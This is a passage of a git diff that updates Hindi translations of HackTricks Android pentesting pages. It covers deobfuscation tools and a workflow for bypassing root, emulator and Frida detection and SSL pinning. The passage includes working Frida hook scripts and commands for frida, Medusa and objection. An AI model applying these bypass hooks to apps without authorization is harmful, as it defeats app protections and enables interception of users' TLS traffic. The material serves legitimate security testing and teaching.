рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ** рддрд╛рдХрд┐ рдЙрд╕рдХрд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рд╕рдорд╛рди рд░рд╣реЗ рд▓реЗрдХрд┐рди рдЗрдВрд╕рд╛рди рдХреЗ рд▓рд┐рдП рд╕рдордЭрдирд╛ рдЖрд╕рд╛рди рд╣реЛред рдкреНрд░рддреНрдпреЗрдХ optimization рдкреНрд░рдХрд╛рд░ рд╕рд░рд▓ рдФрд░ generic рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдорд╛рдпрдиреЗ рдирд╣реАрдВ рд░рдЦрддрд╛ рдХрд┐ рдХрд┐рд╕ рдкреНрд░рдХрд╛рд░ рдХрд╛ obfuscation рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +рдпрд╣ рдПрдХ **generic android deobfuscator** рд╣реИред Simplify рдРрдк рдХреЛ рд▓рдЧрднрдЧ рддреМрд░ рдкрд░ execute рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрд╕рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рд╕рдордЭрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдлрд┐рд░ **рдХреЛрдб рдХреЛ optimize рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ** рддрд╛рдХрд┐ рдпрд╣ рд╕рдорд╛рди рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░реЗ рд▓реЗрдХрд┐рди рдЗрдВрд╕рд╛рди рдХреЗ рд▓рд┐рдП рд╕рдордЭрдирд╛ рдЖрд╕рд╛рди рд╣реЛред рдкреНрд░рддреНрдпреЗрдХ optimization рдкреНрд░рдХрд╛рд░ simple рдФрд░ generic рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдорд╛рдпрдиреЗ рдирд╣реАрдВ рд░рдЦрддрд╛ рдХрд┐ рдХрд┐рд╕ specific рдкреНрд░рдХрд╛рд░ рдХреА obfuscation рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред ### [APKiD](https://github.com/rednaga/APKiD) -APKiD рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рджреЗрддрд╛ рд╣реИ рдХрд┐ **рдПрдХ APK рдХреИрд╕реЗ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛**ред рдпрд╣ рдХрдИ **compilers**, **packers**, **obfuscators**, рдФрд░ рдЕрдиреНрдп рдЕрдЬреАрдм рдЪреАрдЬрд╝реЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ Android рдХреЗ рд▓рд┐рдП [_PEiD_](https://www.aldeid.com/wiki/PEiD) рдЬреИрд╕рд╛ рд╣реИред +APKiD рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рджреЗрддрд╛ рд╣реИ рдХрд┐ **how an APK was made**ред рдпрд╣ рдХрдИ **compilers**, **packers**, **obfuscators**, рдФрд░ рдЕрдиреНрдп рдЕрдЬреАрдм рдЪреАрдЬрд╝реЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ Android рдХреЗ рд▓рд┐рдП [_PEiD_] рд╣реИред ### Manual -[рдЗрд╕ tutorial рдХреЛ рдкрдврд╝реЗрдВ рддрд╛рдХрд┐ рдЖрдк рд╕реАрдЦ рд╕рдХреЗрдВ рдХрд┐ custom obfuscation рдХреЛ reverse рдХрд░рдиреЗ рдХреЗ рдХреБрдЫ tricks рдХреИрд╕реЗ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ](manual-deobfuscation.md) +[рдЗрд╕ tutorial рдХреЛ рдкрдврд╝реЗрдВ рддрд╛рдХрд┐ рдЖрдк рдХреБрдЫ tricks рд╕реАрдЦ рд╕рдХреЗрдВ рдХрд┐ **how to reverse custom obfuscation**](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b рдПрдХ Android security virtual machine рд╣реИ рдЬреЛ ubuntu-mate рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ reverse engineering рдФрд░ malware analysis рдХреЗ рд▓рд┐рдП рдирд╡реАрдирддрдо framework, tutorials рдФрд░ labs рдХрд╛ рд╕рдВрдЧреНрд░рд╣ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рд╡рд┐рднрд┐рдиреНрди security geeks рдФрд░ researchers рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдпреЗ рдЧрдП рд╣реИрдВред +AndroL4b рдПрдХ Android security virtual machine рд╣реИ рдЬреЛ ubuntu-mate рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ reverse engineering рдФрд░ malware analysis рдХреЗ рд▓рд┐рдП рдирд╡реАрдирддрдо framework, tutorials рдФрд░ labs рдХрд╛ рд╕рдВрдЧреНрд░рд╣ рд╢рд╛рдорд┐рд▓ рд╣реИред ## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) -- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) рдпрд╣ resources рдХреА рдПрдХ рд╢рд╛рдирджрд╛рд░ рд╕реВрдЪреА рд╣реИ +- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) рдпрд╣ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреА рдПрдХ рд╢рд╛рдирджрд╛рд░ рд╕реВрдЪреА рд╣реИ - [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index 9f858f1c5..73fd45cf2 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -1,8 +1,8 @@ -# Android рдПрдВрдЯреАтАСрдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди рдФрд░ SSL рдкрд┐рдирд┐рдВрдЧ рдмрд╛рдпрдкрд╛рд╕ (Frida/Objection) +# Android Anti-Instrumentation & SSL Pinning Bypass (Frida/Objection) {{#include ../../banners/hacktricks-training.md}} -рдпрд╣ рдкреГрд╖реНрда рдЙрди Android рдРрдкреНрд╕ рдХреЗ рдЦрд┐рд▓рд╛рдл рдбрд╛рдпрдирд╛рдорд┐рдХ рдПрдирд╛рд▓рд┐рд╕рд┐рд╕ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рддреЗ/рд░реВрдЯтАСрдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВ рдпрд╛ TLS рдкрд┐рдирд┐рдВрдЧ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рддреЗрдЬрд╝ рдЯреНрд░рд╛рдпреЗрдЬрд╝, рд╕рд╛рдорд╛рдиреНрдп рдбрд┐рдЯреЗрдХреНрд╢рдВрд╕, рдФрд░ рдХреЙрдкреАтАСрдкреЗрд╕реНрдЯ рдХрд░рдиреЗ рдпреЛрдЧреНрдп hooks/рддactics рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИ рддрд╛рдХрд┐ рд╕рдВрднрд╡ рд╣реЛрдиреЗ рдкрд░ рдмрд┐рдирд╛ repacking рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +рдпрд╣ рдкреГрд╖реНрда рдЙрди Android рдРрдкреНрд╕ рдХреЗ рдЦрд┐рд▓рд╛рдл dynamic analysis рдХреЛ рдмрд╣рд╛рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ instrumentation рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рддреЗ/рд░реВрдЯтАСрдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВ рдпрд╛ TLS pinning рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рддреЗрдЬрд╝ triage, рд╕рд╛рдорд╛рдиреНрдп detections, рдФрд░ рдмрд┐рдирд╛ repacking рдХреЗ рд╕рдВрднрд╡ рд╣реЛрдиреЗ рдкрд░ рдЙрдиреНрд╣реЗрдВ bypass рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП copyтАСpasteable hooks/tactics рдкрд░ рдХреЗрдиреНрджреНрд░рд┐рдд рд╣реИред ## Detection Surface (what apps check) @@ -14,18 +14,18 @@ ## Step 1 тАФ Quick win: hide root with Magisk DenyList -- Enable Zygisk in Magisk -- Enable DenyList, add the target package -- Reboot and retest +- Zygisk рдХреЛ Magisk рдореЗрдВ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ +- DenyList рд╕рдХреНрд╖рдо рдХрд░реЗрдВ, рд▓рдХреНрд╖реНрдп рдкреИрдХреЗрдЬ рдЬреЛрдбрд╝реЗрдВ +- рд░реАрдмреВрдЯ рдХрд░реЗрдВ рдФрд░ рдкреБрдирдГ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ -Many apps only look for obvious indicators (su/Magisk paths/getprop). DenyList often neutralizes naive checks. +рдХрдИ рдРрдкреНрд╕ рдХреЗрд╡рд▓ рд╕реНрдкрд╖реНрдЯ рд╕рдВрдХреЗрддрдХреЛрдВ (su/Magisk paths/getprop) рдХреА рддрд▓рд╛рд╢ рдХрд░рддреЗ рд╣реИрдВред DenyList рдЕрдХреНрд╕рд░ naive checks рдХреЛ рдмреЗрдЕрд╕рд░ рдХрд░ рджреЗрддрд╛ рд╣реИред References: - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk ## Step 2 тАФ 30тАСsecond Frida Codeshare tests -Try common dropтАСin scripts before deep diving: +рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╕рд╛рдорд╛рдиреНрдп dropтАСin scripts рдЖрдЬрд╝рдорд╛рдПрдБ: - anti-root-bypass.js - anti-frida-detection.js @@ -35,13 +35,13 @@ Example: ```bash frida -U -f com.example.app -l anti-frida-detection.js ``` -рдпреЗ рдЖрдо рддреМрд░ рдкрд░ Java рдХреЗ root/debug checks, process/service scans рдФрд░ native ptrace() рдХреЛ рд╕реНрдЯрдм рдХрд░рддреЗ рд╣реИрдВред рд╣рд▓реНрдХреЗ-рдкреНрд░реЛрдЯреЗрдХреНрдЯреЗрдб apps рдореЗрдВ рдЙрдкрдпреЛрдЧреА; hardened targets рдХреЗ рд▓рд┐рдП tailored hooks рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред +рдпреЗ рд╕рд╛рдорд╛рдиреНрдпрддрдГ Java рдХреЗ root/debug checks, process/service scans, рдФрд░ native ptrace() рдХреЛ stub рдХрд░рддреЗ рд╣реИрдВред рд╣рд▓реНрдХреЗ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд╛рд▓реЗ apps рдореЗрдВ рдЙрдкрдпреЛрдЧреА; hardened targets рдХреЛ tailored hooks рдХреА рдЬрд░реВрд░рдд рдкрдбрд╝ рд╕рдХрддреА рд╣реИред - Codeshare: https://codeshare.frida.re/ -## Medusa (Frida framework) рдХреЗ рд╕рд╛рде рдСрдЯреЛрдореЗрдЯ рдХрд░реЗрдВ +## Medusa (Frida framework) рдХреЗ рд╕рд╛рде рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░реЗрдВ -Medusa 90+ рддреИрдпрд╛рд░-рдореЙрдбреНрдпреВрд▓ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception рдФрд░ рдЕрдиреНрдп рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИрдВред +Medusa 90+ ready-made рдореЙрдбреНрдпреВрд▓ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ тАФ SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, рдФрд░ рдЕрдиреНрдп рдХреЗ рд▓рд┐рдПред ```bash git clone https://github.com/Ch0pin/medusa cd medusa @@ -54,11 +54,11 @@ use http_communications/multiple_unpinner use root_detection/universal_root_detection_bypass run com.target.app ``` -рдЯрд┐рдк: Medusa custom hooks рд▓рд┐рдЦрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ quick wins рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рд╣реИред рдЖрдк modules рдХреЛ рднреА cherry-pick рдХрд░рдХреЗ рдЗрдиреНрд╣реЗрдВ рдЕрдкрдиреЗ scripts рдХреЗ рд╕рд╛рде combine рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЯрд┐рдк: Medusa рдХрд╕реНрдЯрдо hooks рд▓рд┐рдЦрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЬрд▓реНрджреА рдирддреАрдЬреЗ рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмреЗрд╣рддрд░реАрди рд╣реИред рдЖрдк modules рдХреЛ cherry-pick рдХрд░рдХреЗ рдЙрдиреНрд╣реЗрдВ рдЕрдкрдиреЗ scripts рдХреЗ рд╕рд╛рде combine рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -## Step 3 тАФ init-time detectors рдХреЛ рджреЗрд░ рд╕реЗ attach рдХрд░рдХреЗ bypass рдХрд░реЗрдВ +## Step 3 тАФ init-time detectors рдХреЛ late attach рдХрд░рдХреЗ bypass рдХрд░реЗрдВ -рдХрдИ detections рдХреЗрд╡рд▓ process spawn/onCreate() рдХреЗ рджреМрд░рд╛рди рд╣реА рдЪрд▓рддреЗ рд╣реИрдВред SpawnтАСtime injection (-f) рдпрд╛ gadgets рдкрдХрдбрд╝реЗ рдЬрд╛ рдЬрд╛рддреЗ рд╣реИрдВ; UI loads рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж attach рдХрд░рдиреЗ рдкрд░ рдЖрдк рдЕрдХреНрд╕рд░ рдЗрдиреНрд╣реЗрдВ bypass рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдХрдИ detections рдХреЗрд╡рд▓ process spawn/onCreate() рдХреЗ рджреМрд░рд╛рди рд╣реА рдЪрд▓рддреЗ рд╣реИрдВред SpawnтАСtime injection (-f) рдпрд╛ gadgets рдкрдХрдбрд╝реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ; UI load рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж attach рдХрд░рдиреЗ рд╕реЗ рд╡реЗ рдЫреВрдЯ рд╕рдХрддреЗ рд╣реИрдВред ```bash # Launch the app normally (launcher/adb), wait for UI, then attach frida -U -n com.example.app @@ -78,7 +78,7 @@ public boolean isFridaDetected() { return getRunningServices().contains("frida"); } ``` -рд╕рдореАрдХреНрд╖рд╛/hook рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп APIs: +рд╕рд╛рдорд╛рдиреНрдп APIs рдЬрд┐рдиреНрд╣реЗрдВ review/hook рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП: - android.os.Debug.isDebuggerConnected - android.app.ActivityManager.getRunningAppProcesses / getRunningServices - java.lang.System.loadLibrary / System.load (native bridge) @@ -87,7 +87,7 @@ return getRunningServices().contains("frida"); ## рдЪрд░рдг 5 тАФ Runtime stubbing with Frida (Java) -repacking рдХреЗ рдмрд┐рдирд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рдорд╛рди рд▓реМрдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП custom guards рдХреЛ override рдХрд░реЗрдВ: +custom guards рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╡реЗ repacking рдХрд┐рдП рдмрд┐рдирд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рдорд╛рди рд▓реМрдЯрд╛рдПрдБ: ```js Java.perform(() => { const Checks = Java.use('com.example.security.Checks'); @@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager'); AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; }); ``` -рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдХреНрд░реИрд╢реЗрд╕ рдХреА рдЯреНрд░рд╛рдпрдЬрд┐рдВрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ? рд╕рдВрднрд╛рд╡рд┐рдд detection namespaces рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдорд░рдиреЗ рд╕реЗ рдареАрдХ рдкрд╣рд▓реЗ classes рдХреЛ dump рдХрд░реЗрдВ: +Triaging early crashes? Crash рд╣реЛрдиреЗ рд╕реЗ рдареАрдХ рдкрд╣рд▓реЗ classes рдХреЛ dump рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╕рдВрднрд╛рд╡рд┐рдд detection namespaces рдХрд╛ рдкрддрд╛ рдЪрд▓ рд╕рдХреЗ: ```js Java.perform(() => { Java.enumerateLoadedClasses({ @@ -119,7 +119,7 @@ RootChecker.isDeviceRooted.implementation = function () { return false; }; } catch (e) {} }); -рд▓реЙрдЧ рдХрд░реЗрдВ рдФрд░ рд╕рдВрджрд┐рдЧреНрдз рдореЗрдердбреНрд╕ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╡рд╛рд╣ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВ: +рд╕рдВрджрд┐рдЧреНрдз рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд▓реЙрдЧ рдХрд░реЗрдВ рдФрд░ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░реЗрдВ рддрд╛рдХрд┐ рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╡рд╛рд╣ рдХреА рдкреБрд╖реНрдЯрд┐ рд╣реЛ: ```js Java.perform(() => { const Det = Java.use('com.example.security.DetectionManager'); @@ -131,9 +131,9 @@ return false; ``` ## Bypass emulator/VM detection (Java stubs) -рд╕рд╛рдорд╛рдиреНрдп рд╕рдВрдХреЗрдд: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE рдореЗрдВ generic/goldfish/ranchu/sdk рд╢рд╛рдорд┐рд▓ рд╣реЛрдирд╛; QEMU artifacts рдЬреИрд╕реЗ /dev/qemu_pipe, /dev/socket/qemud; рдбрд┐рдлрд╝реЙрд▓реНрдЯ MAC 02:00:00:00:00:00; 10.0.2.x NAT; telephony/sensors рдХрд╛ рдЕрднрд╛рд╡ред +рд╕рд╛рдорд╛рдиреНрдп рд╕рдВрдХреЗрдд: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE рдореЗрдВ generic/goldfish/ranchu/sdk рдХрд╛ рд╣реЛрдирд╛; QEMU artifacts рдЬреИрд╕реЗ /dev/qemu_pipe, /dev/socket/qemud; рдбрд┐рдлрд╝реЙрд▓реНрдЯ MAC 02:00:00:00:00:00; 10.0.2.x NAT; telephony/sensors рдХрд╛ рдЕрднрд╛рд╡ред -Build рдлрд╝реАрд▓реНрдбреНрд╕ рдХрд╛ рддреНрд╡рд░рд┐рдд spoof: +Quick spoof of Build fields: ```js Java.perform(function(){ var Build = Java.use('android.os.Build'); @@ -143,11 +143,11 @@ Build.BRAND.value = 'google'; Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys'; }); ``` -рдлрд╛рдЗрд▓ рдЕрд╕реНрддрд┐рддреНрд╡ рдЬрд╛рдВрдЪ рдФрд░ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛рдУрдВ (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) рдХреЗ рд▓рд┐рдП рд╕реНрдЯрдм рдЬреЛрдбрд╝реЗрдВ рддрд╛рдХрд┐ рд╡реЗ рдпрдерд╛рд░реНрдерд╡рд╛рджреА рдорд╛рди рд▓реМрдЯрд╛рдПрдБред +рдлрд╛рдЗрд▓ рдЕрд╕реНрддрд┐рддреНрд╡ рдЬрд╛рдВрдЪ рдФрд░ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛рдУрдВ (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) рдХреЗ рд▓рд┐рдП рд╕реНрдЯрдм рдЬреЛрдбрд╝реЗрдВ рддрд╛рдХрд┐ рд╡реЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджрд┐рдЦрдиреЗ рд╡рд╛рд▓реЗ рдорд╛рди рд▓реМрдЯрд╛рдПрдБред ## SSL pinning bypass quick hook (Java) -рдХрд╕реНрдЯрдо TrustManagers рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░реЗрдВ рдФрд░ рдЕрдиреБрдордд SSL contexts рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдВ: +рдХрд╕реНрдЯрдо TrustManagers рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░реЗрдВ рдФрд░ рдкрд░рдореАрд╕рд┐рд╡ SSL contexts рд▓рд╛рдЧреВ рдХрд░реЗрдВ: ```js Java.perform(function(){ var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager'); @@ -166,27 +166,27 @@ return SSLContextInit.call(this, km, TrustManagers, sr); }); ``` рдиреЛрдЯреНрд╕ -- OkHttp рдХреЗ рд▓рд┐рдП рдмрдврд╝рд╛рдПрдБ: рдЖрд╡рд╢реНрдпрдХрддрд╛рдиреБрд╕рд╛рд░ okhttp3.CertificatePinner рдФрд░ HostnameVerifier рдХреЛ hook рдХрд░реЗрдВ, рдпрд╛ CodeShare рд╕реЗ рдПрдХ universal unpinning script рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ. +- OkHttp рдХреЗ рд▓рд┐рдП: рдЬрд░реВрд░рдд рдХреЗ рдЕрдиреБрд╕рд╛рд░ okhttp3.CertificatePinner рдФрд░ HostnameVerifier рдХреЛ hook рдХрд░реЗрдВ, рдпрд╛ CodeShare рд╕реЗ рдПрдХ universal unpinning script рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ - рдЙрджрд╛рд╣рд░рдг рдЪрд▓рд╛рдПрдБ: `frida -U -f com.target.app -l ssl-bypass.js --no-pause` -## рдЪрд░рдг 6 тАФ рдЬрдм Java hooks рдЕрд╕рдлрд▓ рд╣реЛрдВ рддреЛ JNI/native trail рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ +## Step 6 тАФ Java hooks рдЕрд╕рдлрд▓ рд╣реЛрдиреЗ рдкрд░ JNI/native trail рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ -JNI entry points рдХреЛ рдЯреНрд░реЗрд╕ рдХрд░реЗрдВ рддрд╛рдХрд┐ native loaders рдФрд░ detection init рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ: +JNI entry points рдХреЛ рдЯреНрд░реЗрд╕ рдХрд░рдХреЗ native loaders рдФрд░ detection init рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдБ: ```bash frida-trace -n com.example.app -i "JNI_OnLoad" ``` -рдмрдВрдбрд▓ рдХрд┐рдП рдЧрдП .so рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рддреНрд╡рд░рд┐рдд рдиреЗрдЯрд┐рд╡ рдЯреНрд░рд╛рдпреЗрдЬрд╝: +рдмрдВрдбрд▓ рдХрд┐рдП рдЧрдП .so рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рддреНрд╡рд░рд┐рдд native triage: ```bash # List exported symbols & JNI nm -D libfoo.so | head objdump -T libfoo.so | grep Java_ strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root' ``` -рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡/native reversing: +рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡/рдиреЗрдЯреАрд╡ reversing: - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida -рдЙрджрд╛рд╣рд░рдг: ptrace рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░рдХреЗ libc рдореЗрдВ рд╕рд░рд▓ antiтАСdebug рдХреЛ рдмреЗрдЕрд╕рд░ рдХрд░реЗрдВ: +рдЙрджрд╛рд╣рд░рдг: libc рдореЗрдВ рд╕рд░рд▓ antiтАСdebug рдХреЛ рдорд╛рдд рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП ptrace рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░реЗрдВ: ```js const ptrace = Module.findExportByName(null, 'ptrace'); if (ptrace) { @@ -195,35 +195,35 @@ return -1; // pretend failure }, 'int', ['int', 'int', 'pointer', 'pointer'])); } ``` -рд╕рдВрджрд░реНрдн: +рдЗрдиреНрд╣реЗрдВ рднреА рджреЗрдЦреЗрдВ: {{#ref}} reversing-native-libraries.md {{#endref}} ## рдЪрд░рдг 7 тАФ Objection patching (embed gadget / strip basics) -рдЬрдм рдЖрдк runtime hooks рдХреА рдмрдЬрд╛рдп repacking рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрддреЗ рд╣реИрдВ, рддреЛ рдЖрдЬрд╝рдорд╛рдПрдБ: +рдЬрдм рдЖрдк repacking рдХреЛ runtime hooks рдХреА рдмрдЬрд╛рдп рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрддреЗ рд╣реИрдВ, рддреЛ рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ: ```bash objection patchapk --source app.apk ``` -рдиреЛрдЯреНрд╕: -- apktool рдЖрд╡рд╢реНрдпрдХ рд╣реИ; рдмрд┐рд▓реНрдб рд╕рдорд╕реНрдпрд╛рдУрдВ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рдЧрд╛рдЗрдб рд╕реЗ рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдг рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ: https://apktool.org/docs/install -- Gadget injection рдмрд┐рдирд╛ root рдХреЗ instrumentation рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕реЗ рдордЬрдмреВрдд initтАСtime checks рджреНрд╡рд╛рд░рд╛ рдлрд┐рд░ рднреА рдкрдХрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +Notes: +- Requires apktool; ensure a current version from the official guide to avoid build issues: https://apktool.org/docs/install +- Gadget injection enables instrumentation without root but can still be caught by stronger initтАСtime checks. -рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, LSPosed modules рдФрд░ Shamiko рдЬреЛрдбрд╝реЗрдВ рддрд╛рдХрд┐ Zygisk environments рдореЗрдВ root рдЫреБрдкрд╛рдиреЗ рдХреЛ рдордЬрдмреВрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдФрд░ child processes рдХреЛ рдХрд╡рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП DenyList рдХреЛ curate рдХрд░реЗрдВред +Optionally, add LSPosed modules and Shamiko for stronger root hiding in Zygisk environments, and curate DenyList to cover child processes. References: - Objection: https://github.com/sensepost/objection -## рдЪрд░рдг 8 тАФ Fallback: рдиреЗрдЯрд╡рд░реНрдХ рджреГрд╢реНрдпрддрд╛ рдХреЗ рд▓рд┐рдП TLS pinning рдХреЛ рдкреИрдЪ рдХрд░реЗрдВ +## Step 8 тАФ Fallback: Patch TLS pinning for network visibility -рдпрджрд┐ instrumentation рдЕрд╡рд░реБрджреНрдз рд╣реИ, рддреЛ 